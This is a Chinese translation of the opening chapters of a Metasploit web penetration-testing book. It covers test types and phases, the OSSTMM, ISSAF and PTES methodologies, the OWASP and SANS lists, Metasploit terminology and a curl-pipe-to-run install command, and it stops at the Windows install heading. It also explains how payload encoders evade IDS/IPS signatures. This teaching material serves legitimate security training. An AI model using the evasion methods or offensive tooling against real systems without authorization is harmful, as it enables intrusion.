Metasploit-Web-渗透测试实用指南（全）

Metasploit Web 渗透测试实用指南（全）

原文：annas-archive.org/md5/53B22D5EEA1E9D6C0B08A2FDA60AB7A5

译者：飞龙

协议：CC BY-NC-SA 4.0

前言

在当今快速发展的技术世界中，安全行业的变化速度惊人，而涉及组织的网络攻击数量也在迅速增加。为了保护自己免受这些现实世界的攻击，许多公司引入了安全审计、风险和漏洞评估等流程管理，旨在帮助公司评估其业务资产的风险。为了保护这些资产，许多公司雇佣了安全专业人员，目的是识别公司应用程序和网络中的风险、漏洞和威胁。对于安全专业人员来说，建立自己的技能并熟悉最新的攻击方式至关重要。此外，为了提高效率，许多人在利用和枚举方面首选 Metasploit。

关于网络利用和后期利用，我们有许多资源可供利用，但在 Web 应用程序方面，很少有人选择 Metasploit。本书将帮助安全顾问和专业人士了解 Metasploit 在 Web 应用程序方面的另一面。它还将使读者能够在 Web 应用程序渗透测试项目中更有效地使用 Metasploit。

本书适合对象

本书旨在为渗透测试人员、道德黑客、安全顾问以及对 Web 应用程序渗透测试有一定了解并希望了解更多或深入研究 Metasploit 框架的人员设计。

本书涵盖内容

第一章《Web 应用程序渗透测试简介》涵盖了 Metasploit 的设置和安装，以及渗透测试生命周期、OWASP 前 10 名和 Sans 前 25 名等详细信息。

第二章《Metasploit 基础知识》解释了 Metasploit 的基础知识，从安装到利用。还涵盖了 Metasploit 的基本术语和其他不常用的选项。

第三章《Metasploit Web 界面》专注于 Metasploit Web GUI 界面的介绍，该界面可在 Metasploit 社区版中使用，然后再深入其他主题。

第四章《使用 Metasploit 进行侦察》涵盖了渗透测试生命周期中的第一个过程：侦察。从抓取横幅到 WEBDAV 侦察，将通过特定的 Metasploit 模块解释基本的侦察过程。

第五章《使用 Metasploit 进行 Web 应用程序枚举》专注于 Web 应用程序渗透测试中最重要的过程之一，即枚举。本章将从文件和目录枚举的基础知识开始，然后进入从网站爬取和抓取，以及涉及 Metasploit 模块的进一步枚举。

第六章《使用 WMAP 进行漏洞扫描》涵盖了 Metasploit 框架的 WMAP 模块，用于扫描 Web 应用程序。

第七章《使用 Metasploit 进行漏洞评估（Nessus）》涵盖了通过 Metasploit 利用 Nessus 漏洞扫描器进行目标漏洞评估扫描的过程。

第八章《CMS 漏洞测试-WordPress》涵盖了 WordPress 漏洞的枚举以及如何利用它们。

第九章《CMS 漏洞测试-Joomla》涵盖了 Joomla 漏洞的枚举以及如何利用它们。

第十章《CMS 漏洞测试-Drupal》涵盖了 Drupal 漏洞的枚举以及如何利用它们。

第十一章，JBoss 上的渗透测试，涵盖了枚举、利用和访问 JBoss 服务器的方法。

第十二章，Apache Tomcat 上的渗透测试，涵盖了枚举、利用和访问 Tomcat 服务器的方法。

第十三章，Jenkins 上的渗透测试，涵盖了枚举、利用和访问运行 Jenkins 服务器的方法。

第十四章，逻辑漏洞挖掘-Web 应用模糊测试，侧重于利用 Web 应用程序的业务逻辑中存在的缺陷。我们将深入介绍这些内容，以及模糊测试 Web 应用程序以识别漏洞的方法。

第十五章，编写渗透测试报告，介绍了报告撰写的基础知识以及如何使用不同的工具来自动化报告撰写过程。

充分利用本书

对 Metasploit Framework 和 Python 或 Ruby 等脚本语言的基本了解将有助于理解各章节。

书中涉及的软件/硬件	操作系统要求
Metasploit Framework	Windows/macOS/*nix

如果您使用本书的数字版本，我们建议您自己输入代码。这样做将有助于避免与复制和粘贴代码相关的任何潜在错误。

下载彩色图片

我们还提供了一个 PDF 文件，其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在这里下载：www.packtpub.com/sites/default/files/downloads/9781789953527_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText：表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。这是一个例子："将下载的WebStorm-10*.dmg磁盘映像文件挂载为系统中的另一个磁盘。"

代码块设置如下：

html, body, #map {
 height: 100%; 
 margin: 0;
 padding: 0
}

当我们希望引起您对代码块的特定部分的注意时，相关行或项目将以粗体显示：

[default]
exten => s,1,Dial(Zap/1|30)
exten => s,2,Voicemail(u100)
exten => s,102,Voicemail(b100)
exten => i,1,Voicemail(s0)

任何命令行输入或输出都以以下形式书写：

$ mkdir css
$ cd css

粗体：表示一个新术语、一个重要单词或屏幕上看到的单词。例如，菜单或对话框中的单词会以这种形式出现在文本中。这是一个例子："从管理面板中选择系统信息。"

警告或重要说明会以这种形式出现。

提示和技巧会出现在这样的形式中。

免责声明

本书中的信息仅供以合乎道德的方式使用。如果您没有设备所有者的书面许可，请不要使用本书中的任何信息。如果您进行非法行为，您可能会被逮捕并依法起诉。如果您滥用本书中包含的任何信息，Packt Publishing 不承担任何责任。本书中的信息只能在获得适当人员的书面授权后在测试环境中使用。

第一章：介绍

本节讨论了 Web 应用程序测试的基础知识。然后，我们将继续讨论 Metasploit 的基础知识，然后深入研究 Metasploit 框架的 Web 界面。

本节包括以下章节：

• 第一章，Web 应用程序渗透测试简介

• 第二章，Metasploit 基础

• 第三章，Metasploit Web 界面

第二章：Web 应用程序渗透测试简介

在今天的世界中，有自动化工具和 SaaS 解决方案可以测试系统或应用程序的安全性。当应用程序需要测试业务逻辑漏洞时，自动化通常在逻辑层面失败。重要的是要了解渗透测试人员如何帮助组织在网络攻击之前保持一步，并且为什么组织需要遵循严格的补丁管理周期来保护他们的资产。

在本书中，您将学习如何使用著名的 Metasploit 框架对构建在不同平台上的 Web 应用程序进行渗透测试。由于我们大多数人都听说过这个工具及其在常规渗透测试中的重要性，本书将重点介绍如何使用 Metasploit 框架对各种 Web 应用程序进行渗透测试，如内容管理系统（CMS）和内容交付和内容集成系统（CD/CI）。要了解更多关于工具和技术的信息，我们首先需要了解渗透测试的基础知识。

在本章中，我们将涵盖以下主题：

• 什么是渗透测试？

• 渗透测试类型

• 渗透测试阶段

• 重要术语

• 渗透测试方法论

• 常见弱点枚举（CWE）

什么是渗透测试？

渗透测试，也称为 pen 测试，是对计算机系统进行的授权攻击，旨在评估系统/网络的安全性。测试旨在识别漏洞及其带来的风险。典型的渗透测试是一个五阶段的过程，识别目标系统、它们的漏洞以及每个漏洞的可利用性。目标是尽可能发现更多的漏洞，并以客户能够理解的普遍可接受的格式报告。让我们在下一节中看看不同类型的渗透测试。

渗透测试类型

根据客户的要求，渗透测试可以分为三种类型：

• 白盒

• 黑盒

• 灰盒

我们将在以下部分讨论每个阶段。

白盒渗透测试

白盒渗透测试，又称玻璃盒或透明盒渗透测试，是一种测试类型，其中客户完全共享有关目标系统、网络或应用程序的信息和细节，例如系统的登录凭据、网络设备的 SSH/Telnet 登录以及需要测试的应用程序源代码。由于从客户那里获取的关于他们的系统、网络或应用程序的信息非常敏感，建议您将所有信息以加密格式保存。

黑盒渗透测试

黑盒渗透测试是一种模拟攻击测试，渗透测试人员将扮演一个没有关于目标系统、网络或应用程序的内部信息的威胁行为者。这种类型的测试真正关注于渗透测试的第一阶段——侦察。渗透测试人员能够获取有关目标组织的信息越多，结果就会越好。在这种类型的测试中，渗透测试人员不会获得任何架构图、网络布局或任何源代码文件。

灰盒渗透测试

灰盒渗透测试是白盒和黑盒测试之间的中间点。在典型的灰盒测试中，渗透测试人员获得了一些关于应用程序、系统或网络的知识。由于其性质，这种类型的测试非常高效，并且更专注于有截止日期的组织。使用客户提供的信息，渗透测试人员可以专注于风险更大的系统，并节省大量时间进行自己的侦察。

现在我们清楚了可以进行的渗透测试类型，让我们看看渗透测试的阶段。

渗透测试阶段

为了更好地理解渗透测试，让我们来看看这个过程的各个阶段：

• 阶段 1：侦察

• 阶段 2：枚举

• 阶段 3：漏洞评估和分析

• 阶段 4：利用（包括利用后期）

• 阶段 5：报告

这可以在以下图表中看到：

每个阶段都有自己的一套工具和技术，可以用来高效地进行测试。

侦察和信息收集

侦察是进行渗透测试的第一个阶段。在这个阶段，渗透测试人员将尽力识别所涉及的系统或应用程序，并尽可能多地获取有关它的信息。这是测试的最关键阶段，因为这一步骤定义了攻击面。在白盒测试中，侦察可能并不重要，因为客户已经提供了有关范围内目标的所有信息。

黑盒测试在很大程度上依赖于这个阶段，因为测试人员没有得到任何信息。在 Web 应用程序渗透测试的情况下，我们将专注于识别 Web 应用程序使用的技术、域/子域信息、HTTP 协议侦察和枚举，以及任何其他可能帮助我们提高效率的细节。在这个阶段通常会定义目标和目标。

以下是可以用来对 Web 应用程序执行侦察的工具列表：

• 识别运行在非标准端口（用户自定义自定义端口）上的应用程序：Amap，Nmap 等

• 识别 DNS 和子域：dnsenum，dnsmap，dnswalk，dnsrecon，dnstracer，Fierce，dnscan，Sublist3r 等

• 识别技术平台：BlindElephant，Wappalyzer，WhatWeb 等

• 识别内容管理系统：WPScan，Joomscan，CMScan，Drupscan 等

现在，让我们来看看枚举。

枚举

在枚举阶段，前一个阶段（侦察）中识别的每个应用程序、系统或网络都将被扫描以寻找不同的攻击面，例如，在 Web 应用程序的情况下进行文件和目录枚举，在网络设备的情况下进行端口和服务枚举。这个阶段将帮助测试人员识别攻击向量。攻击向量是攻击者获取访问或渗透目标系统的路径或方法；在这种情况下，是渗透测试人员。最常用的攻击向量包括钓鱼邮件、恶意软件和未打补丁的漏洞。

渗透测试人员可以执行文件和目录枚举、HTTP 方法枚举、主机枚举和其他一些枚举方法，以找到可能存在漏洞的插入点。在白盒测试中，这个阶段并不真正起到重要作用，因为所有的信息和细节都已经提供给了测试人员，但这并不意味着你不应该进行这个阶段。即使所有的细节都已经提供，进行枚举和扫描也是一种良好的实践。这将帮助测试人员找到过时的攻击路径，这些攻击路径可能不受应用程序支持，但可能帮助测试人员渗透网络。

这个阶段对于黑盒测试和灰盒测试非常关键，因为通过对目标系统或应用程序进行侦察所检索到的所有信息都被渗透测试人员识别出来。如果手动进行枚举，这个过程可能会变得很繁琐，因此有一些公开可用的工具和一些 Metasploit 模块可以用来快速枚举应用程序。

以下是可以用来对 Web 应用程序执行枚举的工具列表：

• 文件和目录枚举：Dirsearch，dirb，dirbuster，Metasploit Framework，BurpSuite，gobuster 等

• HTTP 协议支持的方法枚举：Nmap，BurpSuite，Metasploit Framework，wfuzz 等

• 限制速率测试：BurpSuite、ffuf、wfuzz 等

现在让我们来看看漏洞评估。

漏洞评估和分析

一旦我们确定了攻击向量，我们需要进行漏洞扫描，这发生在渗透测试的这个阶段。对 Web 应用程序进行漏洞评估，以识别网页、目录、HTTP 协议方法、HTTP 标头等的漏洞。扫描可以使用公开可用的工具或付费许可的工具进行。所有类型的测试——白盒、黑盒和灰盒——都严重依赖于这个阶段。

一旦进行了漏洞扫描，我们需要评估和分析找到的每个漏洞，然后过滤掉虚假阳性。过滤掉虚假阳性有助于渗透测试人员处理实际存在的漏洞，而不是因为时间延迟或扫描器错误而发现的漏洞。所有的漏洞过滤都发生在这个阶段。

以下是可以用于对 Web 应用程序进行漏洞评估和扫描的工具列表：

• 系统和网络漏洞评估：Nessus、OpenVAS 等

• Web 应用程序漏洞评估：Nikto、Acunetix、BurpSuite、Nessus 等

利用

利用阶段是侦察阶段之后的第二个最关键的阶段。这个阶段证明了前一阶段发现的某个漏洞是否可利用。渗透测试人员可以通过利用发现的漏洞来确定渗透测试项目的成功。利用可以使用特定工具自动完成，例如 Metasploit Framework 和 Canvas。这是因为我们不知道某个 Web 应用程序或系统在使用有效载荷时会有怎样的行为。

通常，在所有类型的测试中，我们需要向客户确认是否被授权执行基于内存的利用，例如利用缓冲区/堆溢出和运行内存破坏利用。这样做的优势是，通过运行特定的利用，我们可以访问目标系统（只有在目标系统对这个特定的利用存在漏洞时才有效）。使用这种利用的问题是，系统/服务器/Web 应用程序可能会崩溃，这可能会导致业务连续性问题。

一旦我们利用了系统或 Web 应用程序，我们可以选择停止，或者（如果得到客户授权）进行利用后工作，以进入网络（枢纽）并找到业务关键服务器。

请确保所有有效载荷、Web shell、文件和脚本都上传到目标系统以进行利用，以便在拍摄适当的概念证明（PoC）截图后进行清理。这应该始终如此；否则，真正的攻击者可能会找到 Web shell 并轻松使用它们来攻击组织。

报告

报告阶段是渗透测试过程的最后阶段，涉及报告在目标（范围内）发现的每一个漏洞。报告的漏洞将根据通用漏洞评分系统（CVSS）定义的严重程度级别进行列出，这是一个用于评估漏洞的免费开放标准。

作为渗透测试人员，我们需要了解这个阶段对客户来说有多么重要。测试人员在客户系统上所做的所有工作都应该以结构化的格式报告。报告应包括测试的简短介绍、工作范围、参与规则、简短而简洁的摘要、发现的漏洞以及每个漏洞的概念证明，以及一些推荐和来自参考链接的修补技术。

有一些公开可用的工具，如 Serpico、Magic Tree、BurpSuite 和 Acunetix，可以用来简化报告过程。由于这是渗透测试的重要阶段，测试期间发现的所有细节都应包含在报告中。

我们可以提供两种不同类型的报告：一份供管理层使用的执行报告和一份供技术团队使用的技术报告。这可以帮助组织的管理层和技术团队了解并修复渗透测试人员发现的漏洞。

重要术语

既然我们熟悉了标准，现在让我们来介绍一下我们在接下来的章节中将经常使用的重要术语：

• 漏洞：系统中可能允许攻击者未经授权访问的弱点。

• 欺骗：一个个体或程序成功地将数据伪装成其他东西，以获取不法利益的情况。

• 利用：利用漏洞获取未经授权的系统/应用程序访问权限的代码片段、程序、方法或一系列命令。

• 有效载荷：在利用过程中/之后在系统上执行的实际代码，以执行所需的任务。

• 风险：任何可能影响数据的机密性、完整性和可用性的事物。未打补丁的软件、配置错误的服务器、不安全的互联网浏览习惯等都会增加风险。

• 威胁：任何可能对计算机系统、网络或应用程序造成严重危害的事物。

• 黑盒：测试方法，测试人员对系统的内部结构或功能没有任何信息。

• 白盒：测试方法，测试人员完全了解系统的内部结构和功能。

• 漏洞赏金：漏洞赏金计划是许多网站和开发者提供的一项协议，允许个人因报告漏洞而受到荣誉和奖励，特别是与利用和漏洞相关的漏洞。

• SAST：静态应用安全测试（SAST）是一种依赖于检查应用程序源代码的安全测试形式。

• DAST：动态应用安全测试（DAST）是一种用于检测应用程序在运行状态下的安全漏洞的技术。

• 模糊测试：一种自动化测试技术，将无效、意外或随机数据提供为应用程序的输入。

既然我们已经了解了这个重要的术语，让我们继续学习测试方法。

渗透测试方法

众所周知，没有明确定义的官方渗透测试标准；然而，我们的安全社区已经为所有安全人员引入了一些标准。一些常见的标准包括开放源代码安全测试方法手册（OSSTMM）、渗透测试执行标准（PTES）和信息系统安全评估框架（ISSAF）。它们大多遵循相同的方法，但它们的阶段名称不同。我们将在接下来的章节中逐个查看它们，并详细介绍 PTES。

开放源代码安全测试方法手册（OSSTMM）

OSSTMM 的定义在它们的官方网站上提到，网址为www.isecom.org/OSSTMM.3.pdf：

这是一个经过同行评审的安全测试和分析手册，其结果是经过验证的事实。这些事实提供了可操作的信息，可以显著改善您的运营安全。

使用 OSSTMM，审计将提供对操作层面安全的精确估计，清除假设和不可靠的证据。它用于彻底的安全测试，并旨在保持一致和可重复。作为一个开源项目，它向所有安全测试人员开放，鼓励越来越准确、可操作和高效的安全测试。

OSSTMM 包括以下关键部分：

• 运营安全指标

• 信任分析

• 人员安全测试

• 物理安全测试

• 无线安全测试

• 电信安全测试

• 数据网络安全测试

• 合规法规

• 安全测试审计报告（STAR）的报告

运营安全指标

OSSTMM 的这一部分涉及需要保护的内容以及攻击面的暴露程度。这可以通过创建 RAV（攻击面的公正事实描述）来衡量。

信任分析

在运营安全中，信任是指在范围内目标之间的互动，可以被任何恶意人士利用。为了量化信任，我们需要理解并进行分析，以做出更加理性和合乎逻辑的决策。

人员安全测试

人员安全（HUMSEC）是物理安全（PHYSSEC）的一个子部分，包括心理操作（PSYOPS）。测试安全的这一方面需要与能够访问受保护资产的个人进行沟通，例如门卫。

物理安全测试

物理安全（PHYSSEC）指的是物理领域内的物质安全。测试这个通道需要与障碍物和人类（门卫）进行非沟通式互动。

无线安全测试

频谱安全（SPECSEC）是包括电子安全（ELSEC）、信号安全（SIGSEC）和辐射安全（EMSEC）的安全分类。测试这个通道需要分析师在目标附近。

电信安全测试

电信安全是 ELSEC 的一个子集，描述了组织在有线电信上的通信。测试这个通道涵盖了分析师和目标之间的互动。

数据网络安全测试

关于数据网络安全（通信安全[COMSEC]）方面的测试需要与能够访问用于控制对财产的访问的运营数据的个人进行互动。

合规法规

所需的合规性类型取决于所在地区和当前执政政府、行业和业务类型，以及支持的立法。简而言之，合规性是由立法或行业定义的一组通用政策，这些政策是强制性的。

使用 STAR 进行报告

安全测试审计报告（STAR）的目的是作为执行摘要，陈述在特定范围内测试的目标的攻击面。

OSSTMM 测试类型

OSSTMM 根据测试者所知信息的多少将测试类型分为六大类：

• 盲测：在这种测试中，分析师对目标一无所知，但目标知道审计并拥有分析师的所有细节。这可以被视为对分析师知识的测试。

• 双盲测试：在这种测试中，分析师对目标、其防御、资产等一无所知。目标也不会被通知审计。这种测试用于检查分析师的知识和技能，以及目标对未知威胁的准备情况。这也被称为黑盒测试。

• 灰盒：在这个测试中，分析员对目标的防御措施了解有限，但对目标的资产和运作有完全的了解。目标方在这种情况下已经为审计做好了充分的准备，并且知道其全部细节。这个测试也被称为漏洞测试。

• 双灰盒：也被称为白盒测试。目标方对范围和时间有先进的了解，但对有效载荷和测试向量一无所知。

• 串联：也被称为内部审计或水晶球测试。在这个测试中，目标方和分析员都知道审计的全部细节，但这个测试不检查目标方对未知变量或向量的准备情况。

• 逆向：在这个测试中，攻击者全面了解目标的流程和运营安全，但目标方对审计何时以及如何进行一无所知。这也被称为红队演习。

这些类型在图中表示如下：

来源：https://www.isecom.org/OSSTMM.3.pdf

许可：https://creativecommons.org/licenses/by/3.0/

现在我们已经阅读了不同的 OSSTMM 测试类型，让我们来看看 ISSAF。

信息系统安全评估框架（ISSAF）

ISSAF 并不是非常活跃，但他们提供的指南非常全面。它旨在评估信息安全政策以及组织对 IT 行业标准、法律和监管要求的遵守情况。当前版本的 ISSAF 是 0.2。

它涵盖了以下阶段：

• 项目管理

• 指南和最佳实践-预评估、评估和后评估

• 评估方法论

• 信息安全政策和安全组织审查

• 风险评估方法论评估

• 技术控制评估

• 技术控制评估-方法论

• 密码安全

• 密码破解策略

• Unix /Linux 系统安全评估

• Windows 系统安全评估

• Novell netware 安全评估

• 数据库安全评估

• 无线安全评估

• 交换机安全评估

• 路由器安全评估

• 防火墙安全评估

• 入侵检测系统安全评估

• VPN 安全评估

• 反病毒系统安全评估和管理策略

• Web 应用安全评估

• 存储区域网络（SAN）安全

• 互联网用户安全

• As 400 安全

• 源代码审计

• 二进制审计

• 社会工程

• 物理安全评估

• 事件分析

• 日志/监控和审计流程审查

• 业务连续性规划和灾难恢复

• 安全意识和培训

• 外包安全问题

• 知识库

• 安全评估项目的法律方面

• 保密协议（NDA）

• 安全评估合同

• 请求提案模板

• 桌面安全检查表-窗口

• Linux 安全检查表

• Solaris 操作系统安全检查表

• 默认端口-防火墙

• 默认端口-IDS/IPS

渗透测试执行标准（PTES）

这个标准是最广泛使用的标准，几乎涵盖了与渗透测试相关的一切。

PTES 分为七个阶段：

• 预先互动

• 情报收集

• 威胁建模

• 漏洞分析

• 利用

• 后期利用

• 报告

让我们简要了解一下每个阶段涉及的内容。

预先互动

预先互动是在活动开始之前进行的，比如定义活动的范围，通常涉及映射网络 IP、Web 应用程序、无线网络等。

一旦确定范围，就会建立供应商和事件报告流程之间的沟通渠道，并最终确定报告流程。这些互动还包括状态更新、电话、法律程序以及项目的开始和结束日期。

情报收集

情报收集是一个过程，用于收集有关目标的尽可能多的信息。这是渗透测试最关键的部分，因为我们拥有的信息越多，我们就可以使用更多的攻击向量来执行活动。在白盒活动的情况下，所有这些信息已经提供给测试团队。

威胁建模

威胁建模是一种识别和列举潜在威胁并对缓解措施进行优先排序的过程。威胁建模取决于收集的信息的数量和质量；有了这些信息，活动可以分解成阶段，然后使用自动化工具和逻辑攻击进行执行。

以下是威胁模型的思维导图：

！

（来源：www.pentest-standard.org/index.php/Threat_Modelling 

许可证：GNU 自由文档许可证 1.2 ）

现在让我们来看一下漏洞分析。

漏洞分析

漏洞分析是发现攻击者可以利用的缺陷的过程。这些缺陷可以是从开放端口和服务配置错误到 SQL 注入的任何东西。有很多可用的工具可以帮助进行漏洞分析，例如 Nmap、Acunetix 和 Burp Suite。每隔几周就会发布新工具。

利用

利用是通过规避基于漏洞评估的保护机制来获得对系统的访问的过程。利用可以是公开的或零日的。

后期利用

后期利用是确定妥协的重要性，然后保持访问以供将来使用的阶段。这个阶段必须始终遵循保护客户和保护自己的规则（根据活动的要求覆盖踪迹）。

报告

报告是最重要的阶段之一，因为修补所有问题完全取决于报告中呈现的细节。报告必须包含三个关键元素：

• 漏洞的重要性

• 重现错误所需的步骤

• 补丁建议

总之，渗透测试生命周期阶段可以如下所示：

！

在下一节中，我们将讨论通用弱点枚举（CWE）和两个顶级 CWE。

通用弱点枚举（CWE）

在本节中，我们将讨论通用弱点枚举（CWE）。CWE 是计算机软件中发现的弱点的通用在线词典。在本节中，我们将介绍两个著名的 CWE——OWASP 十大和 SANS 25 强。

OWASP 十大

开放式 Web 应用程序安全项目（OWASP）是一个为计算机和互联网应用程序提供公正、实际和具有成本效益的信息的组织。

2020 年的当前列表包含以下错误：

• 注入

• 破损的身份验证

• 敏感数据暴露

• XML 外部实体（XXE）

• 破损的访问控制

• 安全配置错误

• 跨站脚本（XSS）

• 不安全的反序列化

• 使用已知漏洞的组件

• 日志记录和监控不足

SANS TOP 25

SANS 25 强列表是 SANS 研究所、MITRE 和美国和欧洲许多顶级软件安全专家之间的合作。它包括以下漏洞：

• 在网页生成期间未对特殊元素进行适当中和（'SQL 注入'）

• 在操作系统命令中未对特殊元素进行适当中和（'操作系统命令注入'）

• 在检查输入的大小时进行缓冲区复制（'经典缓冲区溢出'）

• 在网页生成期间未对输入进行适当中和（'跨站脚本'）

• 关键功能缺少身份验证

• 授权缺失

• 使用硬编码凭据

• 敏感数据加密缺失

• 不受限制地上传危险类型的文件

• 在安全决策中依赖不受信任的输入

• 以不必要的权限执行

• 跨站请求伪造（CSRF）

• 将路径名限制不当到受限目录（'路径遍历'）

• 在没有完整性检查的情况下下载代码

• 不正确的授权

• 包含来自不受信任控制领域的功能

• 对关键资源的权限分配不正确

• 使用潜在危险的函数

• 使用破损或风险的加密算法

• 缓冲区大小的错误计算

• 不正确限制过多的身份验证尝试

• 将 URL 重定向到不受信任的站点（'开放重定向'）

• 未受控制的格式字符串

• 整数溢出或环绕

• 使用不带盐的单向哈希

我们将在本书的后面章节详细介绍其中一些漏洞。

摘要

在本章中，我们从渗透测试及其类型和阶段的介绍开始。我们介绍了渗透测试方法和生命周期，并了解了一些重要术语。然后，我们看了 OWASP 十大和 SANS 二十五强。

在下一章中，我们将学习 Metasploit 的基本知识，包括 Metasploit 框架、安装和设置。

问题

1. 是否有一个维护通用弱点枚举（CWE）列表的数据库？

2. 我在哪里可以找到 OWASP 十大和 SANS 二十五强列表？

3. 执行渗透测试所需的工具是否免费？

4. OSSTMM 和 PTES 基础的渗透测试有何不同？

进一步阅读

• 安全和开放方法研究所（ISECOM）：www.isecom.org/

• 渗透测试标准网站：www.pentest-standard.org/index.php/Main_Page

第三章：Metasploit 基础知识

Metasploit 项目是用于渗透测试和 IDS 签名捕获的工具。在这个项目下有 Metasploit Framework 子项目，它是开源和免费使用的。它具有针对目标开发和执行利用代码的能力。Metasploit 最初是由 H.D Moore 在 2003 年创建的，并于 2009 年被 Rapid7 收购。Metasploit Framework 是十年来最广泛使用的工具之一。无论您是在网络中执行适当的侦察还是进行后期利用，几乎所有的渗透测试都使用 Metasploit。

在本章中，我们将从介绍 Metasploit Framework 的基本术语开始，然后安装和设置 Metasploit 在不同平台上，以便学习如何使用一些基本命令与 Metasploit Framework 进行交互。

我们将在本章中涵盖以下主题：

• Metasploit Framework 介绍

• Metasploit Framework 术语

• Metasploit 安装和设置

• 开始使用 Metasploit Framework

技术要求

以下是本章所需的技术要求：

• Metasploit Framework v5.0.74 (github.com/rapid7/metasploit-framework)

• 基于*nix 系统或 Microsoft Windows 系统

• Nmap

Metasploit Framework 介绍

Metasploit 是我们在考虑渗透测试或利用时首先想到的工具。Metasploit Framework 是 Metasploit 项目的一个子项目。Metasploit 项目通过提供有关漏洞的信息以及帮助我们进行渗透测试来帮助我们。

Metasploit 首次出现在 2003 年。它是由 H.D Moore 使用 Perl 开发的，但后来在 2007 年转移到了 Ruby。到 2009 年 10 月，Rapid7 已经收购了 Metasploit 项目。然后 Rapid7 添加了 Metasploit Express 和 Metasploit Pro 的商业版本。这是 Metasploit Framework 演变的开始。

Metasploit Framework 是一个开源框架，允许我们编写、测试和执行利用代码。它也可以被认为是用于渗透测试和利用的一套工具。

在本章中，我们将介绍安装和使用 Metasploit Framework 的基础知识。

Metasploit Framework 术语

现在，让我们来了解 Metasploit Framework 的基本术语。我们将在本书中经常使用这些术语，所以最好在深入研究Metasploit Framework（MSF）及其用法之前彻底理解它们：

• Exploits：当 Metasploit 启动时，它显示了框架中已经可用的公开利用的数量。利用是利用漏洞并给出我们想要的输出的代码片段。

• Payload：这是通过利用传递到目标系统或应用程序的代码片段，以执行我们选择的操作。有效载荷实际上可以分为三种主要类型：单个、分段和阶段：

• Singles：这些有效载荷是独立的，通常用于执行简单的任务，比如打开notepad.exe文件和添加用户。

• Stagers：这在两个系统之间建立连接。然后，它们将阶段下载到受害者的机器上。

• Stages：这些可以被认为是有效载荷的组成部分。它们提供不同的功能，比如访问命令 shell、运行可执行文件以及上传和下载文件，并且不需要有大小限制。这种功能的一个例子是 Meterpreter。

其他类型的有效载荷如下：

• • Inline (non-staged)：包含完整 shellcode 的利用代码，用于执行特定任务。

• Staged：这与阶段有效载荷一起工作，执行特定任务。分段器在攻击者和受害者之间建立通信通道，并发送一个将在远程主机上执行的分段有效载荷。

• Meterpreter：这是Meta Interpreter的缩写，通过 DLL 注入运行。它加载在内存中，不留下磁盘上的痕迹。

• PassiveX：这使用 ActiveX 控件创建 Internet Explorer 的隐藏实例。它通过 HTTP 请求和响应与攻击者通信。

• NoNX：这用于绕过 DEP 保护。

• Ord：这些是在所有版本的 Windows 上都可以工作的极小型有效载荷。但是，它们不稳定，并依赖于ws2_32.dll在利用过程中被加载。

• IPv6：这是为 IPv6 主机设计的。

• Reflective DLL Injection：由 Stephen Fewer 创建，这是一种技术，其中分段有效载荷被注入到运行在内存中的受损主机进程中，而从不触及主机硬盘。

• Auxiliary：Metasploit 框架配备了数百个辅助模块，可用于执行不同的任务。这些模块可以被视为不利用任何东西的小工具。相反，它们在利用过程中帮助我们。

• Encoders：编码器将信息（在这种情况下是汇编指令）转换为另一种形式，执行后将给我们相同的结果。编码器用于避免在传递到目标系统/应用程序时检测有效载荷。由于大多数在组织网络中配置的 IDS/IPS 都是基于签名的，因此在对有效载荷进行编码时，它将改变整个签名并轻松地绕过安全机制。最著名的编码器是x86/shikata_ga_nai。这是一种多态的 XOR 加反馈编码器，这意味着每次使用时都会生成不同的输出。它在首次推出时是最难检测到的。当与多次迭代一起使用时，它仍然非常有用。但是，必须小心使用迭代，并始终首先进行测试；它们可能不会按预期工作，并且随着每次迭代，有效载荷的大小都会增加。

• NOP 生成器：NOP 生成器用于生成一系列随机字节，这些字节等同于传统的 NOP 滑梯，只是它们没有任何可预测的模式。NOP 滑梯也可以用于绕过标准的 IDS 和 IPS NOP 滑梯签名（NOP Sled - \x90\x90\x90）。

• Project：这是一个容器，用于在渗透测试活动期间存储数据和凭据。在 Metasploit Pro 版本中更常用。

• Workspace：工作区与项目相同，但仅在 Metasploit 框架中使用。

• Task：这是我们在 Metasploit 中执行的任何操作。

• Listener：监听器等待来自被攻击目标的传入连接，并管理连接的目标 shell。

• Shell：Shell 是一个控制台，比如一个接口，它让我们可以访问远程目标。

• Meterpreter：在官方网站上，Meterpreter 的定义如下：

“一种高级的、动态可扩展的有效载荷，使用内存中的 DLL 注入分段器，并在运行时通过网络进行扩展。它通过分段器套接字进行通信，并提供全面的客户端端 Ruby API。”

既然我们已经了解了基本术语，让我们看看如何安装 Metasploit 并设置它。

安装和设置 Metasploit

安装 Metasploit 非常容易，并且其设置过程受到不同操作系统的支持。Metasploit 可以安装在以下系统上：

• *nix 系统（Ubuntu、macOS 等）

• 基于 Windows 的系统

安装 Metasploit 的步骤对所有支持的操作系统几乎是相同的。唯一的区别是在需要执行命令行安装时。

在*nix 上安装 Metasploit 框架

在我们开始使用 Metasploit 之前，我们需要安装它。按照以下步骤进行：

1. 在*nix 上安装 Metasploit 可以通过下载并执行适用于 Linux 和 macOS 系统的 Metasploit 夜间安装程序，或者使用以下命令（CLI）来完成：

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

以下截图显示了上述命令的输出：

前面的命令将下载一个 shell 脚本，该脚本将导入 Rapid7 签名密钥（PGP）并安装所有支持的 Linux 和 macOS 系统所需的软件包：

1. 安装过程完成后，运行 Metasploit 非常简单。在终端中，只需输入以下命令：

msfconsole

下面的屏幕截图显示了前面命令的输出：

注意：Metasploit Framework v5.0.0 发布了许多新功能。您可以在blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/上查看这些功能和更多信息。

我们现在应该看到 Metasploit Framework 已经启动。当首次加载 MSF 控制台时，它会自动使用 PostgreSQL 创建一个数据库。如果我们执行扫描、利用等操作，该数据库将用于存储收集到的任何数据。

1. 每周都会向 Metasploit 添加新的利用和其他模块，因此定期更新 Metasploit 是一个很好的主意。可以使用以下命令来完成：

msfupdate

下面的屏幕截图显示了前面命令的输出：

在撰写本书时，Metasploit Framework 提供了 1,991 个利用模块，1,089 个辅助模块，340 个后置模块，560 个有效载荷模块，45 个编码器模块，10 个 nops 和 7 个规避模块。

在 Windows 上安装 Metasploit Framework

